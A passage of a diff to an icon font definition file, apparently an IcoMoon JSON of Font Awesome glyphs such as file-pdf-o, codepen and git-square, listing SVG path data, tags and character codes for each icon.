0-10.857-1.143-16-4l-13.714-6.857c-1.714-0.571-2.286-1.714-3.429-2.857-2.857-2.857-5.143-9.143-3.429-20.571 5.714-26.286 36.571-70.286 107.429-107.429 4.571-2.857 10.286-1.143 13.143 3.429 0.571 0.571 1.143 1.714 1.143 2.286 17.714-29.143 38.286-66.286 61.143-112.571 25.714-51.429 45.714-101.714 59.429-149.714-18.286-62.286-24-126.286-13.714-164 4-14.286 12.571-22.857 24-22.857h12.571c8.571 0 15.429 2.857 20 8.571 6.857 8 8.571 20.571 5.143 38.857-0.571 1.714-1.143 3.429-2.286 4.571 0.571 1.714 0.571 2.857 0.571 4.571v17.143c-0.571 36-1.143 70.286-8 109.714 20 60 49.714 108.571 83.429 136zM181.714 846.857c17.143-8 41.714-32.571 78.286-90.286-42.857 33.143-69.714 70.857-78.286 90.286zM409.143 321.143c-5.714 16-5.714 43.429-1.143 75.429 1.714-9.143 2.857-17.714 4-25.143 1.143-9.714 2.857-17.714 4-24.571 0.571-1.714 1.143-2.857 2.286-4.571-0.571-0.571-0.571-1.714-1.143-2.857-0.571-10.286-4-16.571-7.429-20.571 0 1.143-0.571 1.714-0.571 2.286zM338.286 698.857c50.286-20 106.286-36 162.286-46.286-5.714-4.571-11.429-8.571-16.571-13.143-28-24.571-53.143-58.857-72.571-100.571-10.857 34.857-26.857 72-47.429 112.571-8.571 16-17.143 32-25.714 47.429zM707.429 689.714c-2.857-2.857-17.714-13.714-80-13.714 28 10.286 53.714 16 70.857 16 5.143 0 8 0 10.286-0.571 0-0.571-0.571-1.143-1.143-1.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-pdf-o" + ], + "defaultCode": 61889, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-pdf-o", + "id": 407, + "order": 1263, + "prevSize": 28, + "code": 61889 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 407 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429zM133.143 438.857v61.143h40l93.714 377.714h90.857l73.143-277.143c2.857-8.571 4.571-17.143 5.714-26.286 0.571-4.571 1.143-9.143 1.143-13.714h2.286l1.714 13.714c1.714 8 2.286 17.143 5.143 26.286l73.143 277.143h90.857l93.714-377.714h40v-61.143h-171.429v61.143h51.429l-56.571 250.286c-2.286 9.143-3.429 18.857-4 26.286l-1.143 12h-2.286c0-3.429-1.143-8-1.714-12-1.714-7.429-2.857-17.143-5.143-26.286l-82.286-311.429h-65.143l-82.286 311.429c-2.286 9.143-2.857 18.857-4.571 26.286l-2.286 12h-2.286l-1.143-12c-0.571-7.429-1.714-17.143-4-26.286l-56.571-250.286h51.429v-61.143h-171.429z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-word-o" + ], + "defaultCode": 61890, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-word-o", + "id": 408, + "order": 1264, + "prevSize": 28, + "code": 61890 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 408 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429zM245.143 817.143v60.571h160.571v-60.571h-42.857l58.857-92c6.857-10.857 10.286-19.429 12-19.429h1.143c0.571 2.286 1.714 4 2.857 5.714 2.286 4.571 5.714 8 9.714 13.714l61.143 92h-43.429v60.571h166.286v-60.571h-38.857l-109.714-156 111.429-161.143h38.286v-61.143h-159.429v61.143h42.286l-58.857 90.857c-6.857 10.857-12 19.429-12 18.857h-1.143c-0.571-2.286-1.714-4-2.857-5.714-2.286-4-5.143-8-9.714-13.143l-60.571-90.857h43.429v-61.143h-165.714v61.143h38.857l108 155.429-110.857 161.714h-38.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-excel-o" + ], + "defaultCode": 61891, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-excel-o", + "id": 409, + "order": 1265, + "prevSize": 28, + "code": 61891 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 409 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429zM237.714 817.143v60.571h186.857v-60.571h-53.143v-95.429h78.286c24.571 0 46.857-1.143 67.429-8.571 51.429-17.714 83.429-70.857 83.429-133.143s-30.857-110.286-78.286-130.286c-21.714-8.571-48-10.857-74.286-10.857h-210.286v61.143h52.571v317.143h-52.571zM439.429 657.143h-68v-153.143h68.571c20 0 35.429 3.429 47.429 10.286 20.571 12 32 35.429 32 65.714 0 32-11.429 56.571-35.429 68.571-12 5.714-26.857 8.571-44.571 8.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-powerpoint-o" + ], + "defaultCode": 61892, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-powerpoint-o", + "id": 410, + "order": 1266, + "prevSize": 28, + "code": 61892 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 410 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429zM731.429 694.857v182.857h-585.143v-109.714l109.714-109.714 73.143 73.143 219.429-219.429zM256 585.143c-60.571 0-109.714-49.143-109.714-109.714s49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714-49.143 109.714-109.714 109.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-image-o", + "file-photo-o", + "file-picture-o" + ], + "defaultCode": 61893, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-image-o, file-photo-o, file-picture-o", + "id": 411, + "order": 1267, + "prevSize": 28, + "code": 61893 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 411 + }, + { + "icon": { + "paths": [ + "M365.714 219.429v-73.143h-73.143v73.143h73.143zM438.857 292.571v-73.143h-73.143v73.143h73.143zM365.714 365.714v-73.143h-73.143v73.143h73.143zM438.857 438.857v-73.143h-73.143v73.143h73.143zM838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-73.143v73.143h-73.143v-73.143h-292.571v877.714h731.429zM446.286 538.857c48.571 164 61.143 199.429 61.143 199.429 2.857 9.714 4.571 19.429 4.571 29.714 0 63.429-61.714 109.714-146.286 109.714s-146.286-46.286-146.286-109.714c0-10.286 1.714-20 4.571-29.714 0 0 12-35.429 68.571-226.286v-73.143h73.143v73.143h45.143c16.571 0 30.857 10.857 35.429 26.857zM365.714 804.571c40.571 0 73.143-16.571 73.143-36.571s-32.571-36.571-73.143-36.571-73.143 16.571-73.143 36.571 32.571 36.571 73.143 36.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-archive-o", + "file-zip-o" + ], + "defaultCode": 61894, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-archive-o, file-zip-o", + "id": 412, + "order": 1268, + "prevSize": 28, + "code": 61894 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 412 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429zM354.286 485.714c6.857 2.857 11.429 9.714 11.429 17.143v310.857c0 7.429-4.571 14.286-11.429 17.143-2.286 0.571-4.571 1.143-6.857 1.143-4.571 0-9.143-1.714-13.143-5.143l-94.857-95.429h-74.857c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h74.857l94.857-95.429c5.714-5.143 13.143-6.857 20-4zM592.571 879.429c10.857 0 21.143-4.571 28.571-13.714 47.429-58.286 73.714-132 73.714-207.429s-26.286-149.143-73.714-207.429c-12.571-16-36-18.286-51.429-5.714-16 13.143-18.286 36-5.143 52 37.143 45.714 57.143 101.714 57.143 161.143s-20 115.429-57.143 161.143c-13.143 16-10.857 38.857 5.143 51.429 6.857 5.714 14.857 8.571 22.857 8.571zM472 794.857c9.714 0 19.429-4 26.857-11.429 32-34.286 49.714-78.286 49.714-125.143s-17.714-90.857-49.714-125.143c-13.714-14.857-37.143-15.429-52-1.714-14.286 13.714-15.429 37.143-1.143 52 18.857 20.571 29.714 46.857 29.714 74.857s-10.857 54.286-29.714 74.857c-14.286 14.857-13.143 38.286 1.143 52 7.429 6.286 16.571 9.714 25.143 9.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-audio-o", + "file-sound-o" + ], + "defaultCode": 61895, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-audio-o, file-sound-o", + "id": 413, + "order": 1269, + "prevSize": 28, + "code": 61895 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 413 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429zM438.857 438.857c40 0 73.143 33.143 73.143 73.143v219.429c0 40-33.143 73.143-73.143 73.143h-219.429c-40 0-73.143-33.143-73.143-73.143v-219.429c0-40 33.143-73.143 73.143-73.143h219.429zM720 440c6.857 2.857 11.429 9.714 11.429 17.143v329.143c0 7.429-4.571 14.286-11.429 17.143-2.286 0.571-4.571 1.143-6.857 1.143-4.571 0-9.714-1.714-13.143-5.143l-151.429-152v-51.429l151.429-152c3.429-3.429 8.571-5.143 13.143-5.143 2.286 0 4.571 0.571 6.857 1.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-movie-o", + "file-video-o" + ], + "defaultCode": 61896, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-movie-o, file-video-o", + "id": 414, + "order": 1270, + "prevSize": 28, + "code": 61896 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 414 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429zM274.286 438.857c6.286-8 17.714-9.714 25.714-3.429l29.143 21.714c8 6.286 9.714 17.714 3.429 25.714l-104 138.857 104 138.857c6.286 8 4.571 19.429-3.429 25.714l-29.143 21.714c-8 6.286-19.429 4.571-25.714-3.429l-129.143-172c-4.571-6.286-4.571-15.429 0-21.714zM732.571 610.857c4.571 6.286 4.571 15.429 0 21.714l-129.143 172c-6.286 8-17.714 9.714-25.714 3.429l-29.143-21.714c-8-6.286-9.714-17.714-3.429-25.714l104-138.857-104-138.857c-6.286-8-4.571-19.429 3.429-25.714l29.143-21.714c8-6.286 19.429-4.571 25.714 3.429zM378.286 874.286c-10.286-1.714-16.571-11.429-14.857-21.143l78.857-474.857c1.714-10.286 11.429-16.571 21.143-14.857l36 5.714c10.286 1.714 16.571 11.429 14.857 21.143l-78.857 474.857c-1.714 10.286-11.429 16.571-21.143 14.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-code-o" + ], + "defaultCode": 61897, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-code-o", + "id": 415, + "order": 1271, + "prevSize": 28, + "code": 61897 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 415 + }, + { + "icon": { + "paths": [ + "M855.429 472.571v113.143c-40 9.143-80 13.143-113.143 13.143-80 168-223.429 312-271.429 338.857-30.286 17.143-58.857 18.286-92.571-1.714-58.857-35.429-281.714-218.286-356-793.143h161.714c40.571 345.143 140 522.286 249.143 654.857 60.571-60.571 118.857-141.143 164-232-108-54.857-173.714-175.429-173.714-316 0-142.286 81.714-249.714 221.714-249.714 136 0 210.286 84.571 210.286 230.286 0 54.286-11.429 116-33.143 163.429 0 0-100.571 20-137.714-44.571 7.429-24.571 17.714-66.857 17.714-105.143 0-68-24.571-101.143-61.714-101.143-39.429 0-66.857 37.143-66.857 108.571 0 145.714 92.571 229.143 212.571 229.143 21.143 0 45.143-2.286 69.143-8z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vine" + ], + "defaultCode": 61898, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "vine", + "id": 416, + "order": 1272, + "prevSize": 28, + "code": 61898 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 416 + }, + { + "icon": { + "paths": [ + "M123.429 668l344.571 229.714v-205.143l-190.857-127.429zM88 585.714l110.286-73.714-110.286-73.714v147.429zM556 897.714l344.571-229.714-153.714-102.857-190.857 127.429v205.143zM512 616l155.429-104-155.429-104-155.429 104zM277.143 458.857l190.857-127.429v-205.143l-344.571 229.714zM825.714 512l110.286 73.714v-147.429zM746.857 458.857l153.714-102.857-344.571-229.714v205.143zM1024 356v312c0 14.286-7.429 28.571-19.429 36.571l-468 312c-7.429 4.571-16 7.429-24.571 7.429s-17.143-2.857-24.571-7.429l-468-312c-12-8-19.429-22.286-19.429-36.571v-312c0-14.286 7.429-28.571 19.429-36.571l468-312c7.429-4.571 16-7.429 24.571-7.429s17.143 2.857 24.571 7.429l468 312c12 8 19.429 22.286 19.429 36.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "codepen" + ], + "defaultCode": 61899, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "codepen", + "id": 417, + "order": 1273, + "prevSize": 28, + "code": 61899 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 417 + }, + { + "icon": { + "paths": [ + "M1028.571 441.143c82.857 34.286 141.714 115.429 141.714 209.714 0 125.143-103.429 226.857-230.286 226.857-4.571 0-8.571-0.571-12.571-0.571h-695.429c-128-7.429-232-105.143-232-232 0-85.143 46.286-159.429 115.429-200-4.571-14.857-6.857-30.286-6.857-46.857 0-87.429 71.429-158.286 160.571-158.286 36.571 0 70.857 12.571 98.286 33.143 56-115.429 174.857-195.429 313.714-195.429 192.571 0 348 153.714 348 342.857 0 6.857-0.571 13.714-0.571 20.571zM267.429 593.143c0 96.571 76 150.857 166.857 150.857 56 0 96.571-17.714 137.143-56.571-16.571-20.571-34.857-40.571-52-61.143-23.429 22.857-49.143 37.143-82.286 37.143-40.571 0-75.429-26.857-75.429-69.143 0-41.714 34.857-69.143 74.286-69.143 125.714 0 152.571 219.429 335.429 219.429 89.143 0 164.571-56 164.571-149.714 0-94.857-76-150.286-166.286-150.286-56 0-97.714 16-137.714 55.429 18.286 20 35.429 41.143 53.143 61.714 22.857-22.286 48.571-36.571 81.143-36.571 37.714 0 75.429 26.857 75.429 66.857 0 44-32 72-74.857 72-121.714 0-154.286-219.429-332.571-219.429-88.571 0-166.857 54.286-166.857 148.571z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "jsfiddle" + ], + "defaultCode": 61900, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "jsfiddle", + "id": 418, + "order": 1274, + "prevSize": 28, + "code": 61900 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 418 + }, + { + "icon": { + "paths": [ + "M512 0c282.857 0 512 229.143 512 512s-229.143 512-512 512-512-229.143-512-512 229.143-512 512-512zM512 73.143c-74.286 0-144.571 18.857-206.286 51.429l110.857 110.857c30.286-10.286 62.286-16 95.429-16 33.714 0 65.143 5.714 95.429 16l110.857-110.857c-61.714-32.571-132-51.429-206.286-51.429zM124.571 718.286l110.857-110.857c-10.286-30.286-16-62.286-16-95.429 0-33.714 5.714-65.143 16-95.429l-110.857-110.857c-32.571 61.714-51.429 132-51.429 206.286s18.857 144.571 51.429 206.286zM512 950.857c74.286 0 144.571-18.857 206.286-51.429l-110.857-110.857c-30.286 10.286-61.714 16-95.429 16-33.143 0-65.143-5.714-95.429-16l-110.857 110.857c61.714 32.571 132 51.429 206.286 51.429zM512 731.429c121.143 0 219.429-98.286 219.429-219.429s-98.286-219.429-219.429-219.429-219.429 98.286-219.429 219.429 98.286 219.429 219.429 219.429zM788.571 607.429l110.857 110.857c32.571-61.714 51.429-132 51.429-206.286s-18.857-144.571-51.429-206.286l-110.857 110.857c10.286 30.286 16 62.286 16 95.429s-5.714 65.143-16 95.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "life-bouy", + "life-buoy", + "life-ring", + "life-saver", + "support" + ], + "defaultCode": 61901, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "life-bouy, life-buoy, life-ring, life-saver, support", + "id": 419, + "order": 1275, + "prevSize": 28, + "code": 61901 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 419 + }, + { + "icon": { + "paths": [ + "M1005.714 512c0 272.571-221.143 493.714-493.714 493.714s-493.714-221.143-493.714-493.714c0-248 182.857-453.143 420.571-488.571v130.286c-166.857 33.714-292.571 181.714-292.571 358.286 0 201.714 164 365.714 365.714 365.714s365.714-164 365.714-365.714c0-176.571-125.714-324.571-292.571-358.286v-130.286c237.714 35.429 420.571 240.571 420.571 488.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "circle-o-notch" + ], + "defaultCode": 61902, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "circle-o-notch", + "id": 420, + "order": 1276, + "prevSize": 28, + "code": 61902 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 420 + }, + { + "icon": { + "paths": [ + "M10.857 499.429c5.714-163.429 89.143-314.286 240.571-413.714 0.571 0 4-1.143 2.286 1.714-12 11.429-229.714 268-29.143 467.429 102.857 102.286 185.714 5.143 185.714 5.143 79.429-103.429-1.143-260-1.143-260-20.571-51.429-94.286-82.857-94.286-82.857l59.429-65.714c50.286 21.714 89.143 80 89.143 80 1.714-61.143-45.143-126.857-45.143-126.857l92-104.571 91.429 103.429c-42.286 59.429-45.143 129.143-45.143 129.143 28.571-47.429 89.714-81.143 89.714-81.143l58.857 65.714c-56.571 18.286-93.714 82.286-93.714 82.286-32.571 58.857-56 184.571 1.143 262.857 66.857 92 181.143-5.714 181.143-5.714 212-189.714-21.714-464.571-21.714-464.571-12.571-11.429 1.714-5.714 1.714-5.714 103.429 75.429 236.571 174.286 240 422.857 4 300.571-206.286 514.857-500.571 514.857-287.429 0-510.857-240-502.286-524.571z" + ], + "width": 1019.9771428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ra", + "rebel", + "resistance" + ], + "defaultCode": 61904, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ra, rebel, resistance", + "id": 421, + "order": 1277, + "prevSize": 28, + "code": 61904 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 421 + }, + { + "icon": { + "paths": [ + "M499.429 936v37.714c-161.143-4.571-302.286-91.429-381.714-220l33.143-19.429c12 20 26.286 38.857 41.714 56.571l37.143-32.571c53.714 61.143 126.857 104.571 210.286 121.143l-9.714 49.143c22.286 4 45.714 6.857 69.143 7.429zM157.714 633.143l-47.429 16c8 22.286 17.143 43.429 28 64l-32.571 18.857c-35.429-65.143-56-140.571-56-220s20.571-154.857 56-220l32.571 18.857c-10.857 20-20.571 41.714-28 64l46.857 16c-13.143 37.714-20 78.857-20 121.143s7.429 83.429 20.571 121.143zM873.143 734.286l33.143 19.429c-79.429 128.571-220.571 215.429-381.714 220v-37.714c23.429-0.571 46.857-3.429 69.143-7.429l-9.714-49.143c83.429-16.571 156.571-60 210.286-121.143l37.143 32.571c15.429-17.714 29.714-36.571 41.714-56.571zM786.857 417.714l-133.143 45.714c5.143 15.429 8 31.429 8 48.571s-2.857 33.143-8 48.571l132.571 45.714c-12 36-31.429 68.571-56 96.571l-105.714-92.571c-21.143 24.571-50.286 41.714-84 48.571l27.429 137.714c-17.714 3.429-36.571 5.714-56 5.714s-38.286-2.286-56-5.714l27.429-137.714c-33.714-6.857-62.857-24-84-48.571l-105.714 92.571c-24.571-28-44-60.571-56-96.571l132.571-45.714c-5.143-15.429-8-31.429-8-48.571s2.857-33.143 8-48.571l-133.143-45.714c12.571-36 32-68.571 56.571-96.571l105.714 92.571c21.143-24.571 50.286-42.286 84-49.143l-27.429-137.143c17.714-4 36.571-5.714 56-5.714s38.286 1.714 56 5.714l-27.429 137.143c33.714 6.857 62.857 24.571 84 49.143l105.714-92.571c24.571 28 44 60.571 56.571 96.571zM499.429 50.286v37.714c-23.429 0.571-46.857 2.857-69.143 7.429l9.714 49.143c-83.429 16-156.571 59.429-210.286 120.571l-37.143-32c-15.429 17.143-29.143 36-41.714 56l-32.571-18.857c79.429-129.143 220-215.429 381.143-220v0zM974.286 512c0 79.429-20.571 154.857-56 220l-32.571-18.857c10.857-20.571 20-41.714 28-64l-47.429-16c13.143-37.714 20.571-78.857 20.571-121.143s-6.857-83.429-20-121.143l46.857-16c-7.429-22.286-17.143-44-28-64l32.571-18.857c35.429 65.143 56 140.571 56 220zM905.714 270.286l-32.571 18.857c-12.571-20-26.286-38.857-41.714-56l-37.143 32c-53.714-61.143-126.857-104.571-210.286-120.571l9.714-49.143c-22.286-4.571-45.714-6.857-69.143-7.429v-37.714c161.143 4.571 301.714 90.857 381.143 220zM998.857 512c0-268.571-218.286-486.857-486.857-486.857v0c-268.571 0-486.857 218.286-486.857 486.857s218.286 486.857 486.857 486.857 486.857-218.286 486.857-486.857zM1024 512c0 282.857-229.143 512-512 512s-512-229.143-512-512 229.143-512 512-512v0c282.857 0 512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "empire", + "ge" + ], + "defaultCode": 61905, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "empire, ge", + "id": 422, + "order": 1278, + "prevSize": 28, + "code": 61905 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 422 + }, + { + "icon": { + "paths": [ + "M332.571 747.429c0 30.857-28 37.714-53.143 37.714-24.571 0-61.143-4-61.143-36 0-31.429 30.857-36.571 56-36.571 24 0 58.286 4 58.286 34.857zM312 481.143c0 28.571-11.429 48.571-42.286 48.571-31.429 0-44-18.286-44-48s11.429-51.429 44-51.429c29.143 0 42.286 24 42.286 50.857zM406.857 438.286v-71.429c-24.571 9.143-50.857 16.571-77.143 16.571-18.857-10.857-40.571-16.571-62.857-16.571-65.143 0-116.571 48-116.571 114.286 0 35.429 23.429 84.571 58.857 96.571v1.714c-18.286 8-21.714 30.286-21.714 48.571 0 18.857 6.857 34.286 23.429 44v1.714c-38.857 12.571-64.571 37.143-64.571 79.429 0 72.571 69.143 93.143 129.714 93.143 73.143 0 128-26.857 128-107.429 0-57.143-52-74.286-99.429-82.857-16-2.857-43.429-14.286-43.429-34.286 0-18.857 10.286-26.857 28-29.714 58.286-11.429 95.429-56.571 95.429-116.571 0-10.286-2.286-20-5.714-29.714 9.143-2.286 18.857-4.571 28-7.429zM440.571 677.714h78.286c-1.143-15.429-1.143-31.429-1.143-46.857v-221.143c0-13.143 0-26.286 1.143-39.429h-78.286c1.714 13.143 1.714 27.429 1.714 40.571v224c0 14.286 0 28.571-1.714 42.857zM731.429 668.571v-69.143c-11.429 8-25.143 12-38.857 12-25.714 0-30.286-25.714-30.286-46.857v-128.571h29.714c10.286 0 20 1.143 30.286 1.143v-66.857h-60c0-19.429-1.143-38.857 1.714-58.286h-80c1.714 10.286 2.286 20.571 2.286 31.429v26.857h-34.286v66.857c6.857-0.571 13.714-1.714 21.143-1.714 4 0 8.571 0.571 13.143 0.571v1.143h-1.143v124c0 61.714 9.143 121.143 84.571 121.143 21.143 0 42.857-3.429 61.714-13.714zM528 265.143c0-26.857-20-52-48-52s-48.571 24.571-48.571 52c0 26.857 21.143 50.857 48.571 50.857s48-24.571 48-50.857zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "git-square" + ], + "defaultCode": 61906, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "git-square", + "id": 423, + "order": 1279, + "prevSize": 28, + "code": 61906 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 423 + }, + { + "icon": { + "paths": [ + "M340 865.143c0-50.286-55.429-57.143-94.286-57.143-40.571 0-90.286 8.571-90.286 59.429 0 51.429 58.857 57.714 98.286 57.714 41.714 0 86.286-10.286 86.286-60zM306.286 433.714c0-42.857-20.571-81.714-68-81.714-52.571 0-70.857 34.857-70.857 82.857 0 47.429 20.571 77.143 70.857 77.143 49.714 0 68-32 68-78.286zM460 248.571v115.429c-14.857 5.143-29.714 9.143-45.143 12.571 5.714 15.429 9.143 31.429 9.143 48 0 96.571-59.429 170.286-154.286 188-28.571 5.714-45.143 17.714-45.143 48.571 0 87.429 230.857 28 230.857 189.143 0 130.857-88.571 173.714-207.429 173.714-97.714 0-209.143-32.571-209.143-150.286 0-68.571 41.714-108 104-128.571v-2.286c-26.286-16-38.286-41.143-38.286-72 0-29.143 6.286-65.143 36-78.286v-2.286c-57.714-19.429-95.429-98.857-95.429-156.571 0-106.857 82.857-185.143 188.571-185.143 35.429 0 70.857 9.143 101.714 26.857 42.857 0 85.143-11.429 124.571-26.857zM641.714 752h-126.857c2.286-25.714 2.286-50.857 2.286-76.571v-348c0-24.571 0.571-49.143-2.286-73.143h126.857c-2.857 23.429-2.286 47.429-2.286 70.857v350.286c0 25.714 0 50.857 2.286 76.571zM985.143 625.143v112c-30.286 16.571-65.143 22.286-99.429 22.286-122.286 0-136.571-96.571-136.571-196v-200.571h1.143v-2.286c-7.429 0-14.286-1.143-21.143-1.143-11.429 0-22.857 1.714-33.714 3.429v-108.571h54.857v-43.429c0-17.143-0.571-34.286-3.429-50.857h129.714c-4.571 31.429-3.429 62.857-3.429 94.286h97.714v108.571c-16.571 0-33.143-2.286-49.143-2.286h-48.571v208.571c0 33.714 7.429 74.857 49.714 74.857 22.286 0 44-6.286 